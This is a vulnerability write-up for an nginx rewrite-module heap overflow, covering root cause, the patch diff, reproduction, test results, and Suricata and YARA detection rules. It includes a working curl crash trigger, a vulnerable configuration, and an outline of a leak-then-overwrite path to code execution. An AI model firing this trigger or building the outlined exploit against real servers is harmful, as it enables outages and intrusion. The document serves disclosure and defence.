1. Overview
A heap buffer overflow vulnerability exists in the NGINX ngx_http_rewrite_module when processing rewrite directives that use overlapping Perl-Compatible Regular Expression (PCRE) capture groups with a redirect or query-string replacement. When a rewrite rule like ^/((.*))$ produces multiple captures referencing the same URI content and the replacement string references both captures (e.g., $1$2), the buffer allocation underestimates the space needed for URI-escaped output, leading to a heap overflow in the worker process. An unauthenticated remote attacker can send crafted HTTP requests containing URI characters that require escaping (such as +) to crash the NGINX worker process or potentially achieve remote code execution. The vulnerability provides both a controlled heap write primitive and an information disclosure primitive — the overflow causes adjacent heap data (including pool pointers) to leak into the HTTP response, enabling ASLR bypass. Combined with the attacker-controlled overflow content and nginx’s deterministic pool allocator, this creates a viable path to code execution. F5/NGINX addressed this vulnerability in nginx 1.31.1 (mainline) and 1.30.2 (stable), released May 22, 2026.
2. Vulnerability Type
| Field | Value |
|---|---|
| Primary CWE | CWE-122: Heap-based Buffer Overflow |
| Related CWE | CWE-131: Incorrect Calculation of Buffer Size |
| Related CWE | CWE-126: Buffer Over-read (heap data leaks into HTTP response) |
3. Severity
CVSS 3.1
| Source | Score | Vector |
|---|---|---|
| F5 (vendor) | 8.1 (High) | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD / AWS ALAS | 7.5 (High) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
NVD rates this as DoS-only (C:N/I:N), while F5 acknowledges the RCE potential (C:H/I:H) with higher attack complexity (AC:H). F5’s assessment aligns with our PoC findings — the vulnerability provides both a heap write and an information disclosure primitive that enable code execution.
CVSS 4.0 (F5 vendor assessment)
| Metric Group | Metric | Value |
|---|---|---|
| Base — Exploitability | Attack Vector (AV) | Network |
| Attack Complexity (AC) | High | |
| Attack Requirements (AT) | Present | |
| Privileges Required (PR) | None | |
| User Interaction (UI) | None | |
| Base — Vulnerable System | Confidentiality (VC) | High |
| Integrity (VI) | High | |
| Availability (VA) | High | |
| Base — Subsequent System | Confidentiality (SC) | None |
| Integrity (SI) | None | |
| Availability (SA) | None |
| Field | Value |
|---|---|
| CVSS 4.0 Score | 9.2 (Critical) |
| CVSS 4.0 Vector | CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
AC:High rationale: While the DoS (crash) is trivially reliable, achieving code execution requires a multi-step attack: (1) send a small overflow to leak heap pointers from the response (ASLR bypass), (2) use leaked addresses to calculate target offsets, (3) send a shaped overflow to corrupt function pointers in nginx pool cleanup handlers. This requires understanding of nginx’s pool allocator layout and per-target heap shaping.
AT:Present rationale: The vulnerability requires a specific nginx configuration — the server must have a rewrite directive using overlapping PCRE captures (e.g., ^/((.*))$) with a redirect flag or query-string arguments in the replacement. This is not a default configuration.
VC:High / VI:High rationale: The overflow provides two primitives: (1) an information disclosure via heap data leaking into the HTTP response (confirmed: pool pointers observed in Location header), and (2) a controlled heap write with attacker-chosen content and size. Combined with nginx’s deterministic bump-allocator pool, this enables corruption of ngx_pool_cleanup_t function pointers, leading to arbitrary code execution as the nginx worker user.
4. Affected Products
Affected Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| NGINX Open Source (mainline) | 0.1.17 through 1.31.0 | 1.31.1 |
| NGINX Open Source (stable) | 0.1.17 through 1.30.1 | 1.30.2 |
| NGINX Plus | R37 (37.0) | R37 P1 (37.0.1.1) |
| NGINX Plus | R36 | R36 P5 |
| NGINX Plus | R32 | R32 P7 |
| Product | CPE 2.3 |
|---|---|
| NGINX Open Source | cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:* (versions < 1.31.1) |
| NGINX Plus | cpe:2.3:a:f5:nginx_plus:*:*:*:*:*:*:*:* |
Tested Environment (Vulnerable)
| Field | Value |
|---|---|
| Software | NGINX Open Source 1.31.0 |
| Built from | github.com/nginx/nginx tag release-1.31.0 |
| Platform | Alpine Linux (container), x86_64 |
| Source file | src/http/ngx_http_script.c |
| Compiled with | gcc, default flags |
Tested Environment (Patched)
| Field | Value |
|---|---|
| Software | NGINX Open Source 1.31.1 |
| Built from | github.com/nginx/nginx tag release-1.31.1 |
| Platform | Alpine Linux (container), x86_64 |
| Fix commits | ca4f92a (buffer overflow fix), 475732a (escape flags hardening) |
5. Root Cause Analysis
5a. Detailed Description
The vulnerability is in ngx_http_script_regex_start_code() in src/http/ngx_http_script.c, which handles the execution of rewrite directives at runtime. When the replacement string contains no nginx variables (code->lengths == NULL), the function pre-calculates the output buffer size before allocating it.
The buffer size calculation has two components:
code->size— the static size of the replacement string template (everything except capture references)- The sum of actual capture group lengths from the PCRE match result
The vulnerable code (lines 1145-1157 of the 1.31.0 source):
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n];
}
}
The bug: When code->redirect is true (the redirect flag on the rewrite) or when the replacement contains arguments (a ? in the replacement), each capture group’s content is URI-escaped when written to the output buffer. Characters like + expand to %2B (1 byte becomes 3 bytes).
The vulnerable code calculates the escape overhead once for the entire URI (ngx_escape_uri(NULL, r->uri.data, r->uri.len, NGX_ESCAPE_ARGS)). However, when overlapping captures exist (e.g., pattern ^/((.*))$ where both $1 and $2 match the same text), each capture is escaped independently when the replacement is assembled. The escape expansion is applied N times (once per capture reference in the replacement) but only budgeted once in the buffer allocation.
For a URI of / followed by 500 + characters with the pattern ^/((.*))$:
$1captures all 500+chars,$2captures the same 500+chars- Buffer allocates escape overhead for one pass:
2 * 500 = 1000extra bytes - Actual write escapes each capture separately:
2 * 500 * 2 = 2000extra bytes needed - Overflow: ~1000 bytes past the allocated buffer
Additionally, commit 475732a fixes two related issues:
e->is_argswas not reset at the start of rewrite execution — a stale flag from a prior rewrite could cause the escape budget to be calculated incorrectlyle.is_argswas not copied frome->is_argsinngx_http_script_complex_value_code()— the length-calculation engine and the execution engine could disagree on whether args-mode escaping was active
5b. Vulnerable Source and Fix
Vulnerable code (ngx_http_script_regex_start_code, nginx 1.31.0):
// Buffer size calculation — escape overhead computed ONCE for entire URI
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n];
}
}
Patched code (nginx 1.31.1, commit ca4f92a):
// Buffer size calculation — escape overhead computed PER CAPTURE
if (code->lengths == NULL) {
e->buf.len = code->size;
cap = r->captures;
p = r->captures_data;
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += cap[n + 1] - cap[n];
if (code->uri) {
if (r->quoted_uri || r->plus_in_uri) {
e->buf.len += 2 * ngx_escape_uri(NULL, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
}
}
}
}
The fix moves the ngx_escape_uri() call inside the per-capture loop and calculates the escape overhead for each individual capture’s byte range (&p[cap[n]] to cap[n+1] - cap[n]), rather than once for the entire URI. This correctly accounts for overlapping captures that reference the same URI bytes multiple times.
Additional hardening (commit 475732a):
// Before (vulnerable):
e->quote = code->redirect;
e->pos = e->buf.data;
// After (patched):
e->is_args = 0; // Reset stale args flag
e->quote = code->redirect;
e->pos = e->buf.data;
And in ngx_http_script_complex_value_code():
// Before (vulnerable):
le.quote = e->quote;
// After (patched):
le.is_args = e->is_args; // Sync args flag to length engine
le.quote = e->quote;
5c. Information Disclosure via Heap Over-read
The vulnerability also provides an information disclosure primitive. In ngx_http_script_regex_end_code, the buffer length is updated to the actual number of bytes written:
e->buf.len = e->pos - e->buf.data; // Actual written length > allocated length
This extended buffer is then assigned as the Location response header:
r->headers_out.location->value = e->buf; // References memory past allocation
When nginx writes the 302 redirect response, it reads bytes beyond the allocated buffer from adjacent heap memory. This data — which includes pool metadata and internal structure pointers — is sent to the attacker in the HTTP response.
Confirmed leak: With a 30-character + payload, the Location header contained 49 bytes of heap data beyond the legitimate redirect URL. The leaked data included four pool pointers:
Offset +160: pool/struct pointer
Offset +168: pool/struct pointer
Offset +192: same pointer (repeated in structure)
Offset +200: nearby pool pointer
The pattern (two pointer-sized values followed by 16 zero bytes, repeated) is consistent with ngx_str_t or ngx_list_part_t structures in the request pool. This leak breaks ASLR for the nginx heap, enabling targeted exploitation in a second request.
5d. Impact
The heap buffer overflow reliably crashes the nginx worker process with SIGSEGV (signal 11). The master process automatically restarts the worker, but each malicious request crashes it again, enabling sustained denial of service. During testing, 5 out of 5 requests with a 500-character + payload caused immediate worker crashes, with the error log recording worker process XXXX exited on signal 11 (core dumped) for each.
Beyond DoS, the vulnerability provides a practical path to remote code execution through a two-step attack. First, the attacker sends a small overflow (e.g., 30 + characters) which does not crash the worker but causes heap pointers to leak in the Location header response — this breaks ASLR. Second, the attacker uses the leaked addresses to calculate pool layout offsets and sends a larger, precisely shaped overflow to corrupt function pointers in adjacent pool structures. nginx’s pool allocator (ngx_pnalloc) is a deterministic bump allocator within fixed-size blocks, making adjacent object placement predictable across identical request flows. Pool cleanup handlers (ngx_pool_cleanup_t) contain handler function pointers that are invoked during pool destruction at the end of every request — corrupting one of these provides a natural code execution trigger. The overflow content is fully attacker-controlled via percent-encoding in the URI (e.g., %41 = 0x41), allowing arbitrary byte sequences to be written into the overflow region.
The primary remaining barrier for a weaponized exploit is obtaining a code-section address (e.g., libc base). The confirmed heap pointer leak provides heap ASLR bypass, but PIE and full RELRO on modern distributions require a secondary leak of a .text or .got pointer. If such a pointer exists in the leaked pool data (e.g., a vtable or callback pointer), full ASLR bypass and RCE are achievable in two HTTP requests with no authentication.
6. Proof-of-Concept
6a. PoC Code
Download poc_cve_2026_9256.py (enterprise email verification required)
| File | Description |
|---|---|
poc_cve_2026_9256.py | Python 3 PoC script — triggers crash (DoS) and probes for heap info leak (ASLR bypass) |
nginx-vuln.conf | Vulnerable nginx configuration with overlapping capture rewrite (args variant) |
6b. Reproduce Instructions
Prerequisites:
- nginx <= 1.31.0 compiled from source (the rewrite module is included by default)
- A
rewritedirective using overlapping PCRE captures inredirector query-string context
Setup:
Build nginx 1.31.0 from the
release-1.31.0tag:wget https://github.com/nginx/nginx/archive/refs/tags/release-1.31.0.tar.gz tar xzf release-1.31.0.tar.gz && cd nginx-release-1.31.0 auto/configure --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx make -j$(nproc) && make installWrite the vulnerable configuration to
/etc/nginx/conf/nginx.conf:worker_processes 1; error_log /etc/nginx/logs/error.log; events { worker_connections 64; } http { server { listen 80; location / { rewrite ^/((.*))$ http://example.com:8080/?$1$2; return 200 foo; } } }Start nginx:
nginx
Trigger:
Run the PoC:
python3 poc_cve_2026_9256.py <target_ip> 80Or manually with curl:
# Note the worker PID before ps aux | grep "nginx: worker" # Send trigger payload (500 '+' characters) curl -s "http://<target>:80/$(python3 -c "print('+' * 500)")" || true # Check worker PID after — if changed, crash confirmed ps aux | grep "nginx: worker"
Expected result: The nginx worker process crashes with signal 11 (SIGSEGV). The master process respawns a new worker. The error log shows:
[alert] XXXX#0: worker process YYYY exited on signal 11 (core dumped)
6c. Test Results
| Metric | nginx 1.31.0 (vulnerable) | nginx 1.31.1 (patched) |
|---|---|---|
Requests sent (crash test, 500 +) | 5 | 10 |
| Worker crashes (signal 11) | 5/5 (100%) | 0/10 (0%) |
| Worker PID stable | No (changed each request) | Yes (same PID throughout) |
Heap data in response (30 +) | Yes — 49 bytes of pool pointers leaked | No |
| NUL bytes in response headers | Yes (10-50 char payloads) | No |
| Error log: “exited on signal 11” | Yes, every 500-char request | No entries |
6d. Patched System Verification
The same PoC was executed against nginx 1.31.1 (built from release-1.31.1 tag) with the identical vulnerable configuration. All 10 requests returned valid 302 responses with properly escaped Location headers. The worker PID remained stable across all requests. No crashes, no NUL bytes in headers, no error log entries. The fix correctly calculates per-capture escape overhead, preventing the buffer overflow.
7. Detection
Note: The detection rules below are provided as a starting point. Validate and tune them in your own environment before deploying to production.
7a. Network-Based Detection
Signature-Based Detection
The attack sends HTTP requests with URIs containing many characters that require URI escaping (primarily +, %, spaces, and other reserved characters). The distinctive pattern is a very long URI consisting almost entirely of a single repeated special character. Legitimate URIs rarely exceed a few hundred characters of escaped content, while the attack requires hundreds of such characters for a reliable crash.
Detection can focus on:
- Abnormally long URIs with high density of
+or%-encoded characters - Repeated connection resets from the server (worker crash → RST) following such requests
- Rapid 302 responses with corrupted Location headers (containing NUL bytes)
Suricata Rules
# CVE-2026-9256: nginx rewrite overlapping captures heap overflow — attack request
# Detects HTTP requests with long URIs densely packed with characters requiring
# URI escaping (+ % space etc.), which trigger the heap buffer overflow.
# The specific escapable character doesn't matter — any char that ngx_escape_uri()
# expands to %XX in NGX_ESCAPE_ARGS mode will trigger the overflow.
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-9256 NGINX Rewrite Heap Overflow - Long URI with escapable chars"; \
flow:to_server,established; \
urilen:>200; \
content:"/"; http_uri; depth:1; \
pcre:"/^\/[\+\x20\x25\x23\x26\x3b]{100,}/U"; \
threshold:type both, track by_src, count 3, seconds 60; \
reference:cve,2026-9256; \
classtype:web-application-attack; \
sid:2026009256; rev:2;)
# CVE-2026-9256: heap data leak in 302 response — info disclosure indicator
# When the overflow is small (10-50 chars), the worker doesn't crash but the
# Location header contains NUL bytes from adjacent heap data. This indicates
# active exploitation (ASLR bypass phase of a 2-step RCE attack).
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9256 NGINX Heap Leak - NUL in Location header (ASLR bypass attempt)"; \
flow:to_client,established; \
content:"302"; http_stat_code; \
content:"Location|3a|"; http_header; \
content:"|00|"; http_header; \
reference:cve,2026-9256; \
classtype:web-application-attack; \
sid:2026009257; rev:2;)
# CVE-2026-9256: worker crash indicator — rapid 302 connection resets
# When the overflow is large (200+ chars), the worker crashes mid-response.
# The client sees a connection reset after a partial or empty response.
# Multiple resets from the same server in a short window indicate repeated crashes.
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9256 NGINX Worker Crash - RST after partial 302 response"; \
flow:to_client; \
flags:R; \
flowbits:isset,http.302_sent; \
threshold:type both, track by_dst, count 5, seconds 30; \
reference:cve,2026-9256; \
classtype:web-application-attack; \
sid:2026009258; rev:1;)
7b. Host-Based Detection (YARA)
The following YARA rule identifies nginx binaries vulnerable to CVE-2026-9256 by matching the embedded version string. All mainline versions 1.27.0 through 1.31.0 and stable versions 1.28.x through 1.30.1 are covered. Older versions (back to 0.1.17) are also vulnerable but are rarely found in production and are omitted for rule specificity.
rule CVE_2026_9256_Vulnerable_Nginx_Binary {
meta:
description = "Detects nginx binaries vulnerable to CVE-2026-9256 (heap overflow in ngx_http_rewrite_module)"
date = "2026-05-25"
reference = "https://nginx.org/en/security_advisories.html"
cve = "CVE-2026-9256"
severity = "high"
note = "Fixed in 1.31.1 (mainline) and 1.30.2 (stable). Match is on the version string embedded in the ELF binary."
strings:
// Mainline versions 1.27.x - 1.31.0
$ver_1_31_0 = "nginx/1.31.0"
$ver_1_30_1 = "nginx/1.30.1"
$ver_1_30_0 = "nginx/1.30.0"
$ver_1_29 = /nginx\/1\.29\.\d{1,2}/
$ver_1_28 = /nginx\/1\.28\.\d{1,2}/
$ver_1_27 = /nginx\/1\.27\.\d{1,2}/
// Patched versions — exclude these
$patched_1_31_1 = "nginx/1.31.1"
$patched_1_30_2 = "nginx/1.30.2"
$patched_1_32 = /nginx\/1\.3[2-9]\.\d{1,2}/
// ELF magic (Linux) or nginx signature to reduce false positives
$elf_magic = { 7F 45 4C 46 }
condition:
$elf_magic at 0
and any of ($ver_*)
and not any of ($patched_*)
}
Usage:
# Scan nginx binary for vulnerable version
yara -s CVE_2026_9256_rules.yar /usr/sbin/nginx
| Rule | Match Means |
|---|---|
CVE_2026_9256_Vulnerable_Nginx_Binary | nginx binary is in vulnerable version range (1.27.x - 1.31.0) |
This rule is intended for local asset inventory scanning to identify servers running unpatched nginx. It does not detect exploitation — use the Suricata rules above for runtime detection.
8. References
| Source | URL |
|---|---|
| F5/NGINX Advisory | https://my.f5.com/manage/s/article/K000161377 |
| NGINX Security Advisories | https://nginx.org/en/security_advisories.html |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9256 |
| AWS ALAS (CVSS) | https://explore.alas.aws.amazon.com/CVE-2026-9256.html |
| Fix Commit (overflow) | https://github.com/nginx/nginx/commit/ca4f92a |
| Fix Commit (escape flags) | https://github.com/nginx/nginx/commit/475732a |
| Release 1.31.1 | https://github.com/nginx/nginx/releases/tag/release-1.31.1 |
| Reporter | Mufeed VH of Winfunc Research |